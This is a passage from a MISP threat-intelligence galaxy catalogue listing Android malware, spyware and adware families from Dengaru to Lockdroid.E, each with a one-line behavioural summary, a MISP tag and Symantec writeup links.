Dengaru is a Trojan horse for Android devices that performs click-fraud from the compromised device.

The tag is: *misp-galaxy:android="Dengaru"*

Table 104. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-051113-4819-99

Diandong

Diandong is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Diandong"*

Table 105. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-2453-99

Dianjin

Dianjin is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Dianjin"*

Table 106. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-0313-99

Dogowar

Dogowar is a Trojan horse on the Android platform that sends SMS texts to all contacts on the device. It is a repackaged version of a game application called Dog Wars, which can be downloaded from a third party market and must be manually installed.

The tag is: *misp-galaxy:android="Dogowar"*

Table 107. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-081510-4323-99

Domob

Domob is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Domob"*

Table 108. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-4235-99

Dougalek

Dougalek is a Trojan horse for Android devices that steals information from the compromised device. The threat is typically disguised to display a video.

The tag is: *misp-galaxy:android="Dougalek"*

Table 109. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-041601-3400-99

Dowgin

Dowgin is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Dowgin"*

Table 110. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-033108-4723-99

Droidsheep

Droidsheep is a hacktool for Android devices that hijacks social networking accounts on compromised devices.

The tag is: *misp-galaxy:android="Droidsheep"*

Table 111. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031014-3628-99

Dropdialer

Dropdialer is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number.

The tag is: *misp-galaxy:android="Dropdialer"*

Table 112. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-070909-0726-99

Dupvert

Dupvert is a Trojan horse for Android devices that opens a back door and steals information from the compromised device. It may also perform other malicious activities.

The tag is: *misp-galaxy:android="Dupvert"*

Table 113. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-072313-1959-99

Dynamicit

Dynamicit is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Dynamicit"*

Table 114. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-1346-99

Ecardgrabber

Ecardgrabber is an application that attempts to read details from NFC enabled credit cards. It attempts to read information from NFC enabled credit cards that are in close proximity.

The tag is: *misp-galaxy:android="Ecardgrabber"*

Table 115. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062215-0939-99

Ecobatry

Ecobatry is a Trojan horse for Android devices that steals information and sends it to a remote location.

The tag is: *misp-galaxy:android="Ecobatry"*

Table 116. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080606-4102-99

Enesoluty

Enesoluty is a Trojan horse for Android devices that steals information and sends it to a remote location.

The tag is: *misp-galaxy:android="Enesoluty"*

Table 117. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-090607-0807-99

Everbadge

Everbadge is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Everbadge"*

Table 118. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-3736-99

Ewalls

Ewalls is a Trojan horse for the Android operating system that steals information from the mobile device.

The tag is: *misp-galaxy:android="Ewalls"*

Table 119. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2010-073014-0854-99

Exprespam

Exprespam is a Trojan horse for Android devices that displays a fake message and steals personal information stored on the compromised device.

The tag is: *misp-galaxy:android="Exprespam"*

Table 120. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-010705-2324-99

Fakealbums

Fakealbums is a Trojan horse for Android devices that monitors and forwards received messages from the compromised device.

The tag is: *misp-galaxy:android="Fakealbums"*

Table 121. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-071819-0636-99

Fakeangry

Fakeangry is a Trojan horse on the Android platform that opens a back door, downloads files, and steals potentially confidential information from the compromised device.

The tag is: *misp-galaxy:android="Fakeangry"*

Table 122. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022823-4233-99

Fakeapp

Fakeapp is a Trojan horse for Android devices that downloads configuration files to display advertisements and collects information from the compromised device.

The tag is: *misp-galaxy:android="Fakeapp"*

Table 123. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022805-4318-99

Fakebanco

Fakebanco is a Trojan horse for Android devices that redirects users to a phishing page in order to steal their information.

The tag is: *misp-galaxy:android="Fakebanco"*

Table 124. Table References

Links

https://www.symantec.com/security_response/writeup.jsp?docid=2014-112109-5329-99

Fakebank

Fakebank is a Trojan horse that steals information from the compromised device.

The tag is: *misp-galaxy:android="Fakebank"*

Table 125. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-071813-2448-99

Fakebank.B

Fakebank.B is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: *misp-galaxy:android="Fakebank.B"*

Table 126. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-101114-5645-99

Fakebok

Fakebok is a Trojan horse for Android devices that sends SMS messages to premium phone numbers.

The tag is: *misp-galaxy:android="Fakebok"*

Table 127. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-021115-5153-99

Fakedaum

Fakedaum is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Fakedaum"*

Table 128. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-061813-3630-99

Fakedefender

Fakedefender is a Trojan horse for Android devices that displays fake security alerts in an attempt to convince the user to purchase an app in order to remove non-existent malware or security risks from the device.

The tag is: *misp-galaxy:android="Fakedefender"*

Table 129. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-060301-4418-99

Fakedefender.B

Fakedefender.B is a Trojan horse for Android devices that displays fake security alerts in an attempt to convince the user to purchase an app in order to remove non-existent malware or security risks from the device.

The tag is: *misp-galaxy:android="Fakedefender.B"*

Table 130. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-091013-3953-99

Fakedown

Fakedown is a Trojan horse for Android devices that downloads more malicious apps onto the compromised device.

The tag is: *misp-galaxy:android="Fakedown"*

Table 131. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-041803-5918-99

Fakeflash

Fakeflash is a Trojan horse for Android devices that installs a fake Flash application in order to direct users to a website.

The tag is: *misp-galaxy:android="Fakeflash"*

Table 132. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-070318-2122-99

Fakegame

Fakegame is a Trojan horse for Android devices that displays advertisements and steals information from the compromised device.

The tag is: *misp-galaxy:android="Fakegame"*

Table 133. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-040808-2922-99

Fakeguard

Fakeguard is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Fakeguard"*

Table 134. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-102908-3526-99

Fakejob

Fakejob is a Trojan horse for Android devices that redirects users to scam websites.

The tag is: *misp-galaxy:android="Fakejob"*

Table 135. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030721-3048-99

Fakekakao

Fakekakao is a Trojan horse for Android devices sends SMS messages to contacts stored on the compromised device.

The tag is: *misp-galaxy:android="Fakekakao"*

Table 136. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-071617-2031-99

Fakelemon

Fakelemon is a Trojan horse for Android devices that blocks certain SMS messages and may subscribe to services without the user’s consent.

The tag is: *misp-galaxy:android="Fakelemon"*

Table 137. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-120609-3608-99

Fakelicense

Fakelicense is a Trojan horse that displays advertisements on the compromised device.

The tag is: *misp-galaxy:android="Fakelicense"*

Table 138. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-062709-1437-99

Fakelogin

Fakelogin is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Fakelogin"*

Table 139. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-102108-5457-99

FakeLookout

FakeLookout is a Trojan horse for Android devices that opens a back door and steals information on the compromised device.

The tag is: *misp-galaxy:android="FakeLookout"*

Table 140. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-101919-2128-99

FakeMart

FakeMart is a Trojan horse for Android devices that may send SMS messages to premium rate numbers. It may also block incoming messages and steal information from the compromised device.

The tag is: *misp-galaxy:android="FakeMart"*

Table 141. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-081217-1428-99

Fakemini

Fakemini is a Trojan horse for Android devices that disguises itself as an installation for the Opera Mini browser and sends premium-rate SMS messages to a predetermined number.

The tag is: *misp-galaxy:android="Fakemini"*

Table 142. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-110410-5958-99

Fakemrat

Fakemrat is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: *misp-galaxy:android="Fakemrat"*

Table 143. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2016-012608-1538-99

Fakeneflic

Fakeneflic is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Fakeneflic"*

Table 144. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-101105-0518-99

Fakenotify

Fakenotify is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers, collects and sends information, and periodically displays Web pages. It also downloads legitimate apps onto the compromised device.

The tag is: *misp-galaxy:android="Fakenotify"*

Table 145. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-011302-3052-99

Fakepatch

Fakepatch is a Trojan horse for Android devices that downloads more files on to the device.

The tag is: *misp-galaxy:android="Fakepatch"*

Table 146. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062811-2820-99

Fakeplay

Fakeplay is a Trojan horse for Android devices that steals information from the compromised device and sends it to a predetermined email address.

The tag is: *misp-galaxy:android="Fakeplay"*

Table 147. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-100917-3825-99

Fakescarav

Fakescarav is a Trojan horse for Android devices that displays fake security alerts in an attempt to convince the user to pay in order to remove non-existent malware or security risks from the device.

The tag is: *misp-galaxy:android="Fakescarav"*

Table 148. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-012809-1901-99

Fakesecsuit

Fakesecsuit is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Fakesecsuit"*

Table 149. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-060514-1301-99

Fakesucon

Fakesucon is a Trojan horse program for Android devices that sends SMS messages to premium-rate phone numbers.

The tag is: *misp-galaxy:android="Fakesucon"*

Table 150. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-120915-2524-99

Faketaobao

Faketaobao is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Faketaobao"*

Table 151. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-062518-4057-99

Faketaobao.B

Faketaobao.B is a Trojan horse for Android devices that intercepts and and sends incoming SMS messages to a remote attacker.

The tag is: *misp-galaxy:android="Faketaobao.B"*

Table 152. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-012106-4013-99

Faketoken

Faketoken is a Trojan horse that opens a back door on the compromised device.

The tag is: *misp-galaxy:android="Faketoken"*

Table 153. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-032211-2048-99
http://bgr.com/2017/08/18/android-malware-faketoken-steal-credit-card-info/

Fakeupdate

Fakeupdate is a Trojan horse for Android devices that downloads other applications onto the compromised device.

The tag is: *misp-galaxy:android="Fakeupdate"*

Table 154. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-081914-5637-99

Fakevoice

Fakevoice is a Trojan horse for Android devices that dials a premium-rate phone number.

The tag is: *misp-galaxy:android="Fakevoice"*

Table 155. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-040510-3249-99

Farmbaby

Farmbaby is a spyware application for Android devices that logs certain information and sends SMS messages to a predetermined phone number.

The tag is: *misp-galaxy:android="Farmbaby"*

Table 156. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-090715-3641-99

Fauxtocopy

Fauxtocopy is a spyware application for Android devices that gathers photos from the device and sends them to a predetermined email address.

The tag is: *misp-galaxy:android="Fauxtocopy"*

Table 157. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111515-3940-99

Feiwo

Feiwo is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Feiwo"*

Table 158. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-4038-99

FindAndCall

FindAndCall is a Potentially Unwanted Application for Android devices that may leak information.

The tag is: *misp-galaxy:android="FindAndCall"*

Table 159. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031020-2906-99

Finfish

Finfish is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: *misp-galaxy:android="Finfish"*

Table 160. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-083016-0032-99

Fireleaker

Fireleaker is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Fireleaker"*

Table 161. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031814-5207-99

Fitikser

Fitikser is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Fitikser"*

Table 162. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-093015-2830-99

Flexispy

Flexispy is a Spyware application for Android devices that logs the device's activity and sends it to a predetermined website.

The tag is: *misp-galaxy:android="Flexispy"*

Table 163. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-122006-4805-99

Fokonge

Fokonge is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Fokonge"*

Table 164. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-071802-0727-99

FoncySMS

FoncySMS is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers. It may also connect to an IRC server and execute any received shell commands.

The tag is: *misp-galaxy:android="FoncySMS"*

Table 165. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-011502-2651-99

Frogonal

Frogonal is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Frogonal"*

Table 166. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062205-2312-99

Ftad

Ftad is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Ftad"*

Table 167. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040114-2020-99

Funtasy

Funtasy is a Trojan horse for Android devices that subscribes the user to premium SMS services.

The tag is: *misp-galaxy:android="Funtasy"*

Table 168. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-092519-5811-99

GallMe

GallMe is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="GallMe"*

Table 169. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040312-1336-99

Gamex

Gamex is a Trojan horse for Android devices that downloads further threats.

The tag is: *misp-galaxy:android="Gamex"*

Table 170. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051015-1808-99

Gappusin

Gappusin is a Trojan horse for Android devices that downloads applications and disguises them as system updates.

The tag is: *misp-galaxy:android="Gappusin"*

Table 171. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022007-2013-99

Gazon

Gazon is a worm for Android devices that spreads through SMS messages.

The tag is: *misp-galaxy:android="Gazon"*

Table 172. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-030320-1436-99

Geinimi

Geinimi is a Trojan that opens a back door and transmits information from the device to a remote location.

The tag is: *misp-galaxy:android="Geinimi"*

Table 173. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-010111-5403-99

Generisk

Generisk is a generic detection for Android applications that may pose a privacy, security, or stability risk to the user or user's Android device.

The tag is: *misp-galaxy:android="Generisk"*

Table 174. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-062622-1559-99

Genheur

Genheur is a generic detection for many individual but varied Trojans for Android devices for which specific definitions have not been created. A generic detection is used because it protects against many Trojans that share similar characteristics.

The tag is: *misp-galaxy:android="Genheur"*

Table 175. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032613-0848-99

Genpush

Genpush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Genpush"*

Table 176. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-033109-0426-99

GeoFake

GeoFake is a Trojan horse for Android devices that sends SMS messages to premium-rate numbers.

The tag is: *misp-galaxy:android="GeoFake"*

Table 177. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-040217-3232-99

Geplook

Geplook is a Trojan horse for Android devices that downloads additional apps onto the compromised device.

The tag is: *misp-galaxy:android="Geplook"*

Table 178. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-121814-0917-99

Getadpush

Getadpush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Getadpush"*

Table 179. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040112-0957-99

Ggtracker

Ggtracker is a Trojan horse for Android devices that sends SMS messages to a premium-rate number. It may also steal information from the device.

The tag is: *misp-galaxy:android="Ggtracker"*

Table 180. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-062208-5013-99

Ghostpush

Ghostpush is a Trojan horse for Android devices that roots the compromised device. It may then perform malicious activities on the compromised device.

The tag is: *misp-galaxy:android="Ghostpush"*

Table 181. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-100215-3718-99

Gmaster

Gmaster is a Trojan horse on the Android platform that steals potentially confidential information from the compromised device.

The tag is: *misp-galaxy:android="Gmaster"*

Table 182. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-082404-5049-99

Godwon

Godwon is a Trojan horse for Android devices that steals information.

The tag is: *misp-galaxy:android="Godwon"*

Table 183. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-091017-1833-99

Golddream

Golddream is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Golddream"*

Table 184. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-070608-4139-99

Goldeneagle

Goldeneagle is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Goldeneagle"*

Table 185. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-090110-3712-99

Golocker

Golocker is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Golocker"*

Table 186. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062003-3214-99

Gomal

Gomal is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Gomal"*

Table 187. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-101312-1047-99

Gonesixty

Gonesixty is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Gonesixty"*

Table 188. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-093001-2649-99

Gonfu

Gonfu is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Gonfu"*

Table 189. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-060610-3953-99

Gonfu.B

Gonfu.B is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Gonfu.B"*

Table 190. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-030811-5215-99

Gonfu.C

Gonfu.C is a Trojan horse for Android devices that may download additional threats on the compromised device.

The tag is: *misp-galaxy:android="Gonfu.C"*

Table 191. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031817-3639-99

Gonfu.D

Gonfu.D is a Trojan horse that opens a back door on Android devices.

The tag is: *misp-galaxy:android="Gonfu.D"*

Table 192. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-040414-1158-99

Gooboot

Gooboot is a Trojan horse for Android devices that may send text messages to premium rate numbers.

The tag is: *misp-galaxy:android="Gooboot"*

Table 193. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031818-3034-99

Goodadpush

Goodadpush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Goodadpush"*

Table 194. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040108-0913-99

Greystripe

Greystripe is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Greystripe"*

Table 195. Table References

Links

https://www.symantec.com/security_response/writeup.jsp?docid=2014-052919-2643-99

Gugespy

Gugespy is a spyware program for Android devices that logs the device's activity and sends it to a predetermined email address.

The tag is: *misp-galaxy:android="Gugespy"*

Table 196. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071822-2515-99

Gugespy.B

Gugespy.B is a spyware program for Android devices that monitors and sends certain information to a remote location.

The tag is: *misp-galaxy:android="Gugespy.B"*

Table 197. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-070511-5038-99

Gupno

Gupno is a Trojan horse for Android devices that poses as a legitimate app and attempts to charge users for features that are normally free. It may also display advertisements on the compromised device.

The tag is: *misp-galaxy:android="Gupno"*

Table 198. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-072211-5533-99

Habey

Habey is a Trojan horse for Android devices that may attempt to delete files and send SMS messages from the compromised device.

The tag is: *misp-galaxy:android="Habey"*

Table 199. Table References

Links

https://www.symantec.com/security_response/writeup.jsp?docid=2014-100608-4512-99

Handyclient

Handyclient is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Handyclient"*

Table 200. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040307-5027-99

Hehe

Hehe is a Trojan horse for Android devices that blocks incoming calls and SMS messages from specific numbers. The Trojan also steals information from the compromised device.

The tag is: *misp-galaxy:android="Hehe"*

Table 201. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-012211-0020-99

Hesperbot

Hesperbot is a Trojan horse for Android devices that opens a back door on the compromised device and may steal information.

The tag is: *misp-galaxy:android="Hesperbot"*

Table 202. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-121010-1120-99

Hippo

Hippo is a Trojan horse that sends SMS messages to premium-rate phone numbers.

The tag is: *misp-galaxy:android="Hippo"*

Table 203. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-071215-3547-99

Hippo.B

Hippo.B is a Trojan horse that sends SMS messages to premium-rate phone numbers.

The tag is: *misp-galaxy:android="Hippo.B"*

Table 204. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031915-0151-99

IadPush

IadPush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="IadPush"*

Table 205. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040315-4104-99

iBanking

iBanking is a Trojan horse for Android devices that opens a back door on the compromised device and may steal information.

The tag is: *misp-galaxy:android="iBanking"*

Table 206. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030713-0559-99

Iconosis

Iconosis is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Iconosis"*

Table 207. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062107-3327-99

Iconosys

Iconosys is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Iconosys"*

Table 208. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-081309-0341-99

Igexin

Igexin is an advertisement library that is bundled with certain Android applications. Igexin has the capability of spying on victims through otherwise benign apps by downloading malicious plugins,

The tag is: *misp-galaxy:android="Igexin"*

Igexin is also known as:

- IcicleGum

Igexin has relationships with:

- similar: misp-galaxy:android="IcicleGum" with estimative-language:likelihood-probability="likely"

Table 209. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-032606-5519-99
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf
https://blog.lookout.com/igexin-malicious-sdk

ImAdPush

ImAdPush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="ImAdPush"*

Table 210. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040323-0218-99

InMobi

InMobi is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="InMobi"*

Table 211. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052713-1527-99

Jifake

Jifake is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers.

The tag is: *misp-galaxy:android="Jifake"*

Table 212. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-073021-4247-99

Jollyserv

Jollyserv is a Trojan horse for Android devices that sends SMS messages and steals information from the compromised device.

The tag is: *misp-galaxy:android="Jollyserv"*

Table 213. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-090311-4533-99

Jsmshider

Jsmshider is a Trojan horse that opens a back door on Android devices.

The tag is: *misp-galaxy:android="Jsmshider"*

Table 214. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-062114-0857-99

Ju6

Ju6 is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Ju6"*

Table 215. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-2428-99

Jumptap

Jumptap is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Jumptap"*

Table 216. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052713-0859-99

Jzmob

Jzmob is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Jzmob"*

Table 217. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-1703-99

Kabstamper

Kabstamper is a Trojan horse for Android devices that corrupts images found on the compromised device.

The tag is: *misp-galaxy:android="Kabstamper"*

Table 218. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-060706-2305-99

Kidlogger

Kidlogger is a Spyware application for Android devices that logs the device's activity and sends it to a predetermined website.

The tag is: *misp-galaxy:android="Kidlogger"*

Table 219. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-122014-1927-99

Kielog

Kielog is a Trojan horse for Android devices that logs keystrokes and sends the stolen information to the remote attacker.

The tag is: *misp-galaxy:android="Kielog"*

Table 220. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-040205-4035-99

Kituri

Kituri is a Trojan horse for Android devices that blocks certain SMS messages from being received by the device. It may also send SMS messages to a premium-rate number.

The tag is: *misp-galaxy:android="Kituri"*

Table 221. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-061111-5350-99

Kranxpay

Kranxpay is a Trojan horse for Android devices that downloads other apps onto the device.

The tag is: *misp-galaxy:android="Kranxpay"*

Table 222. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071009-0809-99

Krysanec

Krysanec is a Trojan horse for Android devices that opens a back door on the compromised device.

The tag is: *misp-galaxy:android="Krysanec"*

Table 223. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-090113-4128-99

Kuaidian360

Kuaidian360 is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Kuaidian360"*

Table 224. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040109-2415-99

Kuguo

Kuguo is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Kuguo"*

Table 225. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040315-5215-99

Lastacloud

Lastacloud is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Lastacloud"*

Table 226. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-121216-4334-99

Laucassspy

Laucassspy is a spyware program for Android devices that steals information and sends it to a remote location.

The tag is: *misp-galaxy:android="Laucassspy"*

Table 227. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-092409-1822-99

Lifemonspy

Lifemonspy is a spyware application for Android devices that can track the phone’s location, download SMS messages, and erase certain data from the device.

The tag is: *misp-galaxy:android="Lifemonspy"*

Table 228. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111516-5540-99

Lightdd

Lightdd is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Lightdd"*

Table 229. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-053114-2342-99

Loaderpush

Loaderpush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Loaderpush"*

Table 230. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040108-0244-99

Locaspy

Locaspy is a Potentially Unwanted Application for Android devices that tracks the location of the compromised device.

The tag is: *misp-galaxy:android="Locaspy"*

Table 231. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030720-3500-99

Lockdroid.E

Lockdroid.E is a Trojan horse for Android devices that locks the screen and displays a ransom demand on the compromised device.

The tag is: *misp-galaxy:android="Lockdroid.E"*

Table 232. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-103005-2209-99

